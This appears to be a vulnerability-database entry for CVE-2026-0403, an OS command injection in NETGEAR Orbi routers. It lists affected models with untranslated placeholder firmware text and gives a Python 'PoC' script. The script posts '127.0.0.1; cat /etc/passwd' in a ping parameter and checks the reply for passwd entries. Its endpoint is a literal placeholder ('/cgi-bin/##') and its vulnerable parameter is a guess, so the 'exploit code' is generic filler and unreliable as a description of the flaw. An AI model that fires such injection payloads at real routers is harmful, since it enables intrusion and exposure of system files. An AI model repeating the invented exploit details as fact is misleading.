An insufficient input validation vulnerability in NETGEAR Orbi routers
allows attackers connected to the router's LAN to execute OS command
injections.
cpe:2.3:h:netgear:rbr860:-:*:*:*:*:*:*:* - NOT VULNERABLE
NETGEAR Orbi RBE970 (固件版本 < 安全修复版本)
NETGEAR Orbi RBE971 (固件版本 < 安全修复版本)
NETGEAR Orbi RBR750 (固件版本 < 安全修复版本)
NETGEAR Orbi RBR850 (固件版本 < 安全修复版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# CVE-2026-0403 PoC - NETGEAR Orbi Router OS Command Injection
# Note: This PoC is for educational and authorized testing purposes only
import requests
import sys
def exploit_cve_2026_0403(target_ip, target_port=80):
"""
Exploit for CVE-2026-0403: NETGEAR Orbi Router OS Command Injection
Vulnerability: Insufficient input validation allows OS command injection
Attack Vector: Adjacent Network (AV:A)
Privileges Required: Low (PR:L)
User Interaction: None (UI:N)
The vulnerability exists due to lack of proper input sanitization
in the router's web interface or API endpoints.
"""
# Target URL - adjust endpoint based on actual vulnerability location
base_url = f"http://{target_ip}:{target_port}"
# Example malicious payload - inject OS command
# The actual vulnerable parameter depends on the specific firmware version
payload = {
# Example parameter that might be vulnerable
'ping_host': '127.0.0.1; cat /etc/passwd',
'ping_count': '1'
}
print(f"[*] Targeting: {base_url}")
print(f"[*] Sending exploit payload...")
try:
# Attempt to send exploit request
# Note: Actual endpoint needs to be identified from firmware analysis
response = requests.post(
f"{base_url}/cgi-bin/##", # Placeholder endpoint
data=payload,
timeout=10
)
print(f"[*] Response Status: {response.status_code}")
print(f"[*] Response Length: {len(response.text)}")
# Check for signs of successful command execution
if 'root:' in response.text or 'bin:' in response.text:
print("[+] Potential command injection successful!")
print("[+] Evidence found in response")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 cve_2026_0403_poc.py <target_ip> [port]")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
exploit_cve_2026_0403(target, port)